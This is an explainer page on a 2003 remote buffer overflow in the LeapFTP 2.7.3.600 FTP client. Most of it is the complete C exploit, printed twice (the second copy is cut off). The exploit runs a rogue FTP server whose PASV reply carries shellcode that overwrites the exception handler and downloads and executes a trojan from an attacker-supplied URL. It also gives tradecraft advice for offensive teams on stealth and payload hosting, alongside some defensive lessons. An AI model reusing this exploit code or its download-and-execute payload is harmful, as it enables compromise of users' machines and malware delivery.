LeapWare LeapFTP 2.7.x Remote Buffer Overflow Explained

LeapWare LeapFTP 2.7.x Remote Buffer Overflow Explained
What this paper is
This paper details a remote buffer overflow vulnerability in LeapWare LeapFTP version 2.7.3.600. The exploit, written by drG4njubas, targets a specific condition when the FTP server responds to a PASV command. If the server's reply for the PASV command contains a long IP address string, it can trigger a buffer overflow on the stack. This overflow can be used to overwrite the Structured Exception Handler (SEH) with attacker-controlled data, leading to arbitrary code execution. The exploit also mentions a specific byte sequence (0x29 and 0x2E) that, if present in the server's reply, could cause an exception before the SEH is overwritten, potentially preventing the exploit from working.
Simple technical breakdown
- Vulnerability: LeapFTP 2.7.3.600 has a buffer overflow vulnerability when handling the
PASVcommand. - Trigger: The overflow occurs when the server's response to
PASVincludes a very long IP address string. - Mechanism: This long string overwrites a critical part of the program's memory on the stack, specifically the Structured Exception Handler (SEH).
- Exploitation: By carefully crafting the long string, an attacker can replace the SEH pointer with an address pointing to their malicious code (shellcode).
- Payload: The shellcode is designed to download and execute a trojan from a specified URL.
- Exploit Code: The provided C code acts as a custom FTP server that listens for connections. When it receives a
PASVcommand, it sends the crafted malicious response to trigger the overflow on the vulnerable LeapFTP client.
Complete code and payload walkthrough
The provided C code implements a custom FTP server designed to exploit the LeapFTP vulnerability.
/*
,----------------------------------------------------
; LeapFTP remote buffer overflow exploit
; by drG4njubas \\ DWC Group
`----------------------------------------------------
,----------------------------------------------------
;This exploit works against LeapFTP 2.7.3.600
;running on windows 2000 SP3 russian edition.
;Technical details: When LeapFTP requests IP
;and port by using PASV command if pasv mode
;is enabled, it causes the buffer overflow on
;the stack area if server's reply for this
;PASV request has a long IP address:
;227 (AAAAAAAAA...(1057 bytes)... ,1,1,1,1,1)
;And this buffer overflow can overwrite a
;Structured Exception Handler on the stack
;area with an arbitrary value by specifying
;the address data over 1057 bytes. If this
;reply contains 0x29 and 0x2E bytes, an
;exception occurs before Structured Exception
;Handler is overvritten and program continues
;it's normal work. Thanks a lot to RaiSe for
;his wonderful shellcode.
`----------------------------------------------------
*/
#include<winsock.h> // Includes Windows Sockets API for network programming.
#include<stdio.h> // Includes standard input/output functions like printf.
void main(int argc, char *argv[]){ // The main function, takes command-line arguments.
printf(",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n");
printf(";LeapFTP 2.7.3.600 remote buffer overflow exploit;\n");
printf("; Coded by drG4njubas \\\\ DWC Security Group ;\n");
printf("; www.dwcgr0up.net ;\n");
printf("'''''''''''''''''''''''''''''''''''''''''''''''''''\n"); // Prints banner information.
if(argc < 3){ // Checks if enough command-line arguments are provided.
printf("USAGE : dwclft273.exe <port> <trojan url>\n"); // Prints usage instructions if arguments are insufficient.
printf("EXAMPLE : dwclft273.exe 21 http://www.attacker.com/trojan.exe\n");
return; // Exits the program if usage is incorrect.
}
char exploit[] = // This is the core payload and exploit buffer.
// It starts with a lot of NOP sled (No Operation instructions) to ensure execution lands somewhere safe.
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x30\x5F\xFC\x8B\xF7\x80" // \xEB\x30 starts a short jump, likely to the shellcode. The rest is shellcode.
"\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1"
"\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B"
"\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40"
"\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D"
"\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33"
"\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80"
"\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6"
"\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02"
"\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03"
"\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03"
"\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76"
"\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06"
"\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02"
"\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D"
"\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC"
"\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1"
"\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53"
"\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9"
"\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0"
"\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D"
"\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B"
"\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1"
"\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4"
"\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0"
"\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4"
"\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0"
"\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75" // This section contains strings for API resolution (e.g., GetModuleHandleA, GetProcAddress).
"\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2d\x64" // kernel32.dll
"\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F" // GetProcAddress
"\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F" // LoadLibraryA, _lcreat
"\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F" // _lwrite, GlobalAlloc
"\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50" // _fclose, WinExec
"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2d\x64\x6C\x6C\x08\x49" // ExitProcess, wininet.dll
"\x6E\x74\x65\x72\x6E\x65\x74\x4F\x70\x65\x6E\x41\x08\x49\x6E\x74\x65\x72\x6E\x65" // InternetOpenA
"\x74\x4F\x70\x65\x6E\x55\x72\x6C\x41\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x52\x65" // InternetOpenUrlA
"\x61\x64\x46\x69\x6C\x65\x08\x49\x6E\x74\x65\x72\x6E\x65\x74\x43\x6C\x6F\x73\x65" // InternetReadFile
"\x48\x61\x6E\x64\x6C\x65\x08\x4E\x53\x08\x6E\x73\x73\x63\x2d\x65\x78\x65\x08\x68" // Handle, NS, nssc-exe
"\x74\x74\x70\x3A\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93" // This section seems to be padding or part of the shellcode's data. The 0x93 bytes are likely placeholders.
// ... many 0x93 bytes ...
"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93\x93"
"\x93\x93\x93\x93\x93\x93\x93\x93\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" // More NOPs.
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x25\x49\xE1" // \x25\x49\xE1\x77 is likely the SEH overwrite target address.
"\x77\x90\x90\x90\x90\xFE\x83\x75\xFE\xFF\xFF\xFE\x83\xD5\xFE\xFF\xFF\xFE\x83\x25" // This section contains padding and potentially more shellcode or data. The \xFE\x83 pattern might be related to stack manipulation or data structures.
"\xFF\xFF\xFF\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x80\xAB\x2F" // This looks like data for the shellcode, possibly related to URL parsing or network operations.
"\xFF\xFF\xFF\x03\x80\xAB\x30\xFF\xFF\xFF\x03\x80\xAB\x31\xFF\xFF\xFF\x03\x80\xAB\x32"
// ... many more \x80\xAB bytes with varying values ...
"\x80\xAB\x7F\xFF\xFF\xFF\x03\x80\xAB\x6B\x80\x03\x80\x6B\x81\x03\x80\x6B\x82\x03\x90" // \x80\xAB\x6B\x80\x03 etc. might be part of a lookup table or data structures used by the shellcode.
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xE9\x61\xF9\xFF\xFF"; // \xE9\x61\xF9\xFF\xFF is a relative jump, likely to the end of the NOP sled or the start of the actual executable code.
char *url = argv[2]; // Gets the trojan URL from the command-line arguments.
if(strlen(url)>80){ // Checks if the provided URL is too long.
printf("ERROR: trojan url is too long!\n");
return; // Exits if URL is too long.
}
// This loop modifies the shellcode to include the provided trojan URL.
// It starts from index 5 of the URL (skipping "http://") and adds 3 to each character.
// This is a simple form of obfuscation or encoding.
for(unsigned int i = 5; i < strlen(url); i++){
url[i]+=3; // Encodes the URL character.
exploit[839+i] = url[i]; // Places the encoded URL character into the exploit buffer at a specific offset (839).
}
exploit[839+i] = '\x0B'; // Appends a byte.
exploit[839+i+1] = '\x04'; // Appends another byte. These might be null terminators or part of the encoded URL.
WSADATA wsaData; // Structure for Windows Sockets initialization.
WSAStartup(MAKEWORD(2,2), &wsaData); // Initializes the Winsock library.
SOCKET listen_Sock = socket(AF_INET,SOCK_STREAM,0); // Creates a TCP socket for listening.
SOCKADDR_IN addr_Sock; // Structure for socket address information.
addr_Sock.sin_family = AF_INET; // Address family is IPv4.
addr_Sock.sin_addr.s_addr = htonl(INADDR_ANY); // Listens on all available network interfaces.
addr_Sock.sin_port = htons(atoi(argv[1])); // Sets the listening port from the first command-line argument.
printf("Awaiting for connections...\n"); // Informs the user that the server is ready.
if(bind(listen_Sock,(LPSOCKADDR)&addr_Sock, sizeof(struct sockaddr))) return; // Binds the socket to the specified address and port.
if(listen(listen_Sock, 1))return; // Starts listening for incoming connections, with a backlog of 1.
SOCKET victim = accept(listen_Sock,NULL,NULL); // Accepts an incoming connection from a client.
printf("Victim connected...\n"); // Informs the user that a client has connected.
char buffer[2048]; // A buffer to hold FTP responses.
sprintf(buffer, "220 drG4njubas roxx da world...\r\n"); // Sends a welcome banner to the client.
send(victim, buffer, strlen(buffer), NULL); // Sends the welcome message.
while(true){ // Enters a loop to handle FTP commands from the client.
if(recv(victim, buffer, 2048, NULL)==SOCKET_ERROR)return; // Receives data from the client.
if(strncmp(buffer, "USER", 4)==0){ // Checks if the command is USER.
sprintf(buffer, "%s\r\n", "331 Password required for user."); // Sends a password required response.
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "PASS", 4)==0){ // Checks if the command is PASS.
sprintf(buffer, "%s\r\n", "230 User logged in."); // Sends a user logged in response.
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "SYST", 4)==0){ // Checks if the command is SYST.
sprintf(buffer, "%s\r\n", "215 Windows_NT version 5.0"); // Sends a system type response.
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "REST", 4)==0){ // Checks if the command is REST.
sprintf(buffer, "%s\r\n", "350 Restarting at blah."); // Sends a restart response.
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "PWD", 3)==0){ // Checks if the command is PWD.
sprintf(buffer, "%s\r\n", "257 Current directory was changed."); // Sends a current directory response.
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "TYPE", 4)==0){ // Checks if the command is TYPE.
sprintf(buffer, "%s\r\n", "200 Type set to blah."); // Sends a type set response.
send(victim, buffer, strlen(buffer), NULL);
}
else if(strncmp(buffer, "PASV", 4)==0){ // Checks if the command is PASV. This is the trigger.
printf("PASV command received, sending exploit...");
// This is the crucial part: it crafts the malicious response.
// The 'exploit' buffer contains the NOP sled, shellcode, and the overwritten SEH address.
// The format string is "227 (IP_ADDRESS,1,1,1,1,1)\r\n".
// The 'exploit' buffer is inserted as the IP_ADDRESS part.
sprintf(buffer, "227 (%s,1,1,1,1,1)\r\n", exploit);
send(victim, buffer, strlen(buffer), NULL); // Sends the crafted response.
printf("finnished.\n");
break; // Exits the loop after sending the exploit.
}
else{ // Handles unexpected commands.
printf("ERROR: Wrong client or pasv mode is not enabled.\n");
break; // Exits the loop on error.
}
}
closesocket(victim); // Closes the connection to the victim.
closesocket(listen_Sock); // Closes the listening socket.
WSACleanup(); // Cleans up the Winsock library.
}
// milw0rm.com [2003-07-12]Shellcode Analysis:
The exploit array contains the shellcode. It's a complex piece of machine code designed to:
- NOP Sled: A large block of
0x90(NOP) instructions at the beginning. This increases the chances that execution will eventually slide into the actual shellcode, even if the exact landing address isn't perfectly predicted. - Jump to Shellcode:
\xEB\x30is a short jump instruction. This likely jumps past some initial data or padding to the main body of the shellcode. - API Resolution: The shellcode first needs to find the addresses of necessary Windows API functions (like
LoadLibraryA,GetProcAddress,WinExec,InternetOpenA, etc.). It does this by:- Finding the base address of
kernel32.dll(which is usually loaded at a predictable location or can be found by traversing the PEB - Process Environment Block). - Iterating through loaded modules to find
kernel32.dllandwininet.dll. - Using
GetProcAddressto find the addresses of specific functions within these DLLs. The strings like "kernel32-dll", "GetModuleHandleA", "GetProcAddress" are embedded in the shellcode and used for lookup.
- Finding the base address of
- URL Encoding/Obfuscation: The loop
for(unsigned int i = 5; i < strlen(url); i++){ url[i]+=3; exploit[839+i] = url[i]; }takes the user-provided URL (skipping the first 5 characters, likely "http://") and adds 3 to each character's ASCII value. This is a simple form of encoding. The shellcode will later need to reverse this process (subtract 3) to get the original URL. - Payload Execution: Once API functions are resolved and the URL is decoded, the shellcode likely uses functions like
InternetOpenA,InternetOpenUrlA,InternetReadFileto download the trojan from the decoded URL. - Trojan Execution: Finally, it uses
WinExecor a similar function to execute the downloaded trojan.
The large blocks of 0x93 and 0x80\xAB bytes are likely padding or data structures used by the shellcode for its internal operations, such as storing resolved API function names or data for URL manipulation.
SEH Overwrite:
The exploit targets the Structured Exception Handler (SEH) on the stack. When a program encounters an unhandled exception, the SEH mechanism is used to find a handler to execute. By overwriting the SEH pointer with the address of the shellcode, the attacker forces the program to execute their code when an exception occurs (or when the overflow itself causes one). The specific bytes \x25\x49\xE1\x77 are likely the calculated address of the shellcode on the stack, which is then placed into the SEH pointer.
Mapping:
exploit[]array: Contains the NOP sled, shellcode, API resolution strings, encoded URL placeholder, and the SEH overwrite address.argv[1](port): The port the attacker's FTP server will listen on.argv[2](trojan url): The URL from which the shellcode will download the malicious payload.exploit[839+i] = url[i];: Places the encoded trojan URL into the exploit buffer.sprintf(buffer, "227 (%s,1,1,1,1,1)\r\n", exploit);: Crafts the malicious FTP response containing the exploit buffer.WSADATA,WSAStartup,socket,bind,listen,accept,send,recv: Standard Windows Sockets API calls for network communication.while(true)loop withstrncmp: Simulates an FTP server to handle commands from the vulnerable LeapFTP client.if(strncmp(buffer, "PASV", 4)==0): The specific command that triggers the exploit.
Practical details for offensive operations teams
- Required Access Level: Network access to the target network is required. The attacker needs to be able to establish a TCP connection to the vulnerable LeapFTP client. No local access or prior authentication on the LeapFTP server is needed.
- Lab Preconditions:
- A vulnerable LeapFTP 2.7.3.600 client must be running on a Windows 2000 SP3 Russian edition machine.
- The attacker needs a machine to host the exploit code (the custom FTP server).
- The attacker needs a web server to host the trojan payload.
- Network connectivity between the attacker's machine, the LeapFTP client, and the trojan hosting server.
- Tooling Assumptions:
- The exploit code is provided as a C source file (
.c). It needs to be compiled using a C compiler (e.g., MinGW, Visual Studio) on a Windows machine. - A web server (e.g., Apache, Nginx, Python's
http.server) is needed to host the trojan. - Standard network tools for testing connectivity (e.g.,
ping,nmapfor port scanning,netcatfor basic TCP interaction).
- The exploit code is provided as a C source file (
- Execution Pitfalls:
- OS/Language Specificity: The exploit is explicitly stated to work on "Windows 2000 SP3 Russian edition". Variations in OS, service packs, or language versions might alter memory layouts and SEH addresses, rendering the exploit shellcode ineffective.
- Firewall/IDS: Network firewalls or Intrusion Detection Systems (IDS) might block the initial connection to the attacker's FTP server or the subsequent download of the trojan.
- Antivirus: Antivirus software on the LeapFTP client machine could detect the exploit attempt or the downloaded trojan.
PASVMode: The LeapFTP client must be configured to use passive (PASV) mode for FTP transfers. If it defaults to active mode, this specific exploit won't trigger.- Server Response Variation: The exploit relies on a specific server response format and length. If the LeapFTP client's interaction with the actual FTP server it's connecting to differs in a way that prevents the
PASVcommand from being sent or processed as expected, the exploit will fail. This exploit code acts as the FTP server, so it's controlling the response. The critical part is that the vulnerable client must send thePASVcommand. - SEH Handler: The note about
0x29and0x2Ebytes causing an exception before SEH overwrite is a key failure point. If the server's (in this case, the exploit's) response accidentally contains these bytes in a critical position, the exploit might fail. - URL Length: The exploit has a hardcoded limit for the trojan URL length (80 characters). Exceeding this will cause the exploit to exit.
- Shellcode Reliability: The shellcode itself might have bugs or rely on specific memory conditions that are not met.
- Tradecraft Considerations:
- Stealth: Running a custom FTP server on a non-standard port might raise suspicion. Using a common port (like 21) might be stealthier but could conflict with legitimate services.
- Payload Hosting: The trojan needs to be hosted on a reliable web server accessible by the victim. The URL should be crafted to be as inconspicuous as possible.
- Reconnaissance: Confirming the target's OS and LeapFTP version is crucial. Understanding their network configuration (firewalls, proxy servers) is also important.
- Post-Exploitation: The success of the exploit is only the first step. The downloaded trojan's capabilities will determine the subsequent actions.
Where this was used and when
- Software: LeapWare LeapFTP 2.7.3.600.
- Operating System: Windows 2000 SP3 Russian edition.
- Date Published: 2003-07-12 (on milw0rm.com).
- Context: This exploit was likely used in the early 2000s against organizations using vulnerable versions of LeapFTP. The nature of the exploit (remote code execution via a trojan download) suggests it was intended for widespread compromise or targeted attacks. It's a classic example of how FTP clients could be exploited to deliver malware.
Defensive lessons for modern teams
- Patch Management: The most critical lesson is the importance of timely patching. This vulnerability was known and exploitable for a long time. Keeping software updated is paramount.
- Protocol Security: While FTP itself is inherently insecure (transmitting credentials in cleartext), this exploit highlights that even client-side vulnerabilities can be severe. Using SFTP or FTPS (with proper TLS/SSL configuration) is essential for secure file transfers.
- Network Segmentation: Isolating critical systems and limiting direct internet exposure can reduce the attack surface.
- Endpoint Detection and Response (EDR): Modern EDR solutions can detect suspicious process behavior, network connections, and shellcode execution, even if the initial exploit vector is unknown.
- Protocol Anomaly Detection: Network security monitoring tools can be configured to detect unusual FTP command sequences or malformed responses, although this specific exploit crafts a valid-looking (though malicious) response.
- Application Whitelisting: Preventing unauthorized executables from running on endpoints can mitigate the impact of trojan downloads.
- Secure Coding Practices: Developers must be aware of buffer overflow vulnerabilities and implement robust input validation and bounds checking.
ASCII visual (if applicable)
This exploit involves a client-server interaction where the attacker runs a malicious server to exploit a vulnerable client.
+-----------------+ +-----------------+ +-----------------+
| Attacker Machine| ----> | Attacker FTP | ----> | LeapFTP Client |
| (Exploit Code) | | Server (Malicious)| | (Vulnerable) |
+-----------------+ +-----------------+ +-----------------+
|
| (Triggers Buffer Overflow via PASV response)
V
+-----------------+
| LeapFTP Client |
| (Crash/SEH Overwrite)|
+-----------------+
|
| (Executes Shellcode)
V
+-----------------+
| LeapFTP Client |
| (Downloads Trojan)|
+-----------------+
|
| (Executes Trojan)
V
+-----------------+
| LeapFTP Client |
| (Compromised) |
+-----------------+Source references
- Exploit-DB Paper: https://www.exploit-db.com/papers/54
- Original Exploit Code: Provided within the paper.
Original Exploit-DB Content (Verbatim)
/*
,----------------------------------------------------
; LeapFTP remote buffer overflow exploit
; by drG4njubas \\ DWC Group
`----------------------------------------------------
,----------------------------------------------------
;This exploit works against LeapFTP 2.7.3.600
;running on windows 2000 SP3 russian edition.
;Technical details: When LeapFTP requests IP
;and port by using PASV command if pasv mode
;is enabled, it causes the buffer overflow on
;the stack area if server's reply for this
;PASV request has a long IP address:
;227 (AAAAAAAAA...(1057 bytes)... ,1,1,1,1,1)
;And this buffer overflow can overwrite a
;Structured Exception Handler on the stack
;area with an arbitrary value by specifying
;the address data over 1057 bytes. If this
;reply contains 0x29 and 0x2E bytes, an
;exception occurs before Structured Exception
;Handler is overvritten and program continues
;it's normal work. Thanks a lot to RaiSe for
;his wonderful shellcode.
`----------------------------------------------------
*/
#include<winsock.h>
#include<stdio.h>
void main(int argc, char *argv[]){
printf(",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,\n");
printf(";LeapFTP 2.7.3.600 remote buffer overflow exploit;\n");
printf("; Coded by drG4njubas \\\\ DWC Security Group ;\n");
printf("; www.dwcgr0up.net ;\n");
printf("'''''''''''''''''''''''''''''''''''''''''''''''''''\n");
if(argc < 3){
printf("USAGE : dwclft273.exe <port> <trojan url>\n");
printf("EXAMPLE : dwclft273.exe 21 http://www.attacker.com/trojan.exe\n");
return;
}
char exploit[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xEB\x30\x5F\xFC\x8B\xF7\x80"
"\x3F\x08\x75\x03\x80\x37\x08\x47\x80\x3F\x01\x75\xF2\x8B\xE6\x33\xD2\xB2\x04\xC1"
"\xE2\x08\x2B\xE2\x8B\xEC\x33\xD2\xB2\x03\xC1\xE2\x08\x2B\xE2\x54\x5A\xB2\x7C\x8B"
"\xE2\xEB\x02\xEB\x57\x89\x75\xFC\x33\xC0\xB4\x40\xC1\xE0\x08\x89\x45\xF8\x8B\x40"
"\x3C\x03\x45\xF8\x8D\x40\x7E\x8B\x40\x02\x03\x45\xF8\x8B\xF8\x8B\x7F\x0C\x03\x7D"
"\xF8\x81\x3F\x4B\x45\x52\x4E\x74\x07\x83\xC0\x14\x8B\xF8\xEB\xEB\x50\x8B\xF8\x33"
"\xC9\x33\xC0\xB1\x10\x8B\x17\x03\x55\xF8\x52\xEB\x03\x57\x8B\xD7\x80\x7A\x03\x80"
"\x74\x16\x8B\x32\x03\x75\xF8\x83\xC6\x02\xEB\x02\xEB\x7E\x8B\x7D\xFC\x51\xF3\xA6"
"\x59\x5F\x74\x06\x40\x83\xC7\x04\xEB\xDB\x5F\x8B\x7F\x10\x03\x7D\xF8\xC1\xE0\x02"
"\x03\xF8\x8B\x07\x8B\x5D\xFC\x8D\x5B\x11\x53\xFF\xD0\x89\x45\xF4\x8B\x40\x3C\x03"
"\x45\xF4\x8B\x70\x78\x03\x75\xF4\x8D\x76\x1C\xAD\x03\x45\xF4\x89\x45\xF0\xAD\x03"
"\x45\xF4\x89\x45\xEC\xAD\x03\x45\xF4\x89\x45\xE8\x8B\x55\xEC\x8B\x75\xFC\x8D\x76"
"\x1E\x33\xDB\x33\xC9\xB1\x0F\x8B\x3A\x03\x7D\xF4\x56\x51\xF3\xA6\x59\x5E\x74\x06"
"\x43\x8D\x52\x04\xEB\xED\xD1\xE3\x8B\x75\xE8\x03\xF3\x33\xC9\x66\x8B\x0E\xEB\x02"
"\xEB\x7D\xC1\xE1\x02\x03\x4D\xF0\x8B\x09\x03\x4D\xF4\x89\x4D\xE4\x8B\x5D\xFC\x8D"
"\x5B\x2D\x33\xC9\xB1\x07\x8D\x7D\xE0\x53\x51\x53\x8B\x55\xF4\x52\x8B\x45\xE4\xFC"
"\xFF\xD0\x59\x5B\xFD\xAB\x8D\x64\x24\xF8\x38\x2B\x74\x03\x43\xEB\xF9\x43\xE2\xE1"
"\x8B\x45\xE0\x53\xFC\xFF\xD0\xFD\xAB\x33\xC9\xB1\x04\x8D\x5B\x0C\xFC\x53\x51\x53"
"\x8B\x55\xC4\x52\x8B\x45\xE4\xFF\xD0\x59\x5B\xFD\xAB\x38\x2B\x74\x03\x43\xEB\xF9"
"\x43\xE2\xE5\xFC\x33\xD2\xB6\x1F\xC1\xE2\x08\x52\x33\xD2\x52\x8B\x45\xD4\xFF\xD0"
"\x89\x45\xB0\x33\xD2\xEB\x02\xEB\x77\x52\x52\x52\x52\x53\x8B\x45\xC0\xFF\xD0\x8D"
"\x5B\x03\x89\x45\xAC\x33\xD2\x52\xB6\x80\xC1\xE2\x10\x52\x33\xD2\x52\x52\x8D\x7B"
"\x09\x57\x50\x8B\x45\xBC\xFF\xD0\x89\x45\xA8\x8D\x55\xA0\x52\x33\xD2\xB6\x1F\xC1"
"\xE2\x08\x52\x8B\x4D\xB0\x51\x50\x8B\x45\xB8\xFF\xD0\x8B\x4D\xA8\x51\x8B\x45\xB4"
"\xFF\xD0\x8B\x4D\xAC\x51\x8B\x45\xB4\xFF\xD0\x33\xD2\x52\x53\x8B\x45\xDC\xFF\xD0"
"\x89\x45\xA4\x8B\x7D\xA0\x57\x8B\x55\xB0\x52\x50\x8B\x45\xD8\xFF\xD0\x8B\x55\xA4"
"\x52\x8B\x45\xD0\xFF\xD0\xEB\x02\xEB\x12\x33\xD2\x90\x52\x53\x8B\x45\xCC\xFF\xD0"
"\x33\xD2\x52\x8B\x45\xC8\xFF\xD0\xE8\xE6\xFD\xFF\xFF\x47\x65\x74\x4D\x6F\x64\x75"
"\x6C\x65\x48\x61\x6E\x64\x6C\x65\x41\x08\x6B\x65\x72\x6E\x65\x6C\x33\x32\x2d\x64"
"\x6C\x6C\x08\x47\x65\x74\x50\x72\x6F\x63\x41\x64\x64\x72\x65\x73\x73\x08\x4C\x6F"
"\x61\x64\x4C\x69\x62\x72\x61\x72\x79\x41\x08\x5F\x6C\x63\x72\x65\x61\x74\x08\x5F"
"\x6C\x77\x72\x69\x74\x65\x08\x47\x6C\x6F\x62\x61\x6C\x41\x6C\x6C\x6F\x63\x08\x5F"
"\x6C\x63\x6C\x6F\x73\x65\x08\x57\x69\x6E\x45\x78\x65\x63\x08\x45\x78\x69\x74\x50"
"\x72\x6F\x63\x65\x73\x73\x08\x77\x69\x6E\x69\x6E\x65\x74\x2d\x64\x6C\x6C\x08\x49"
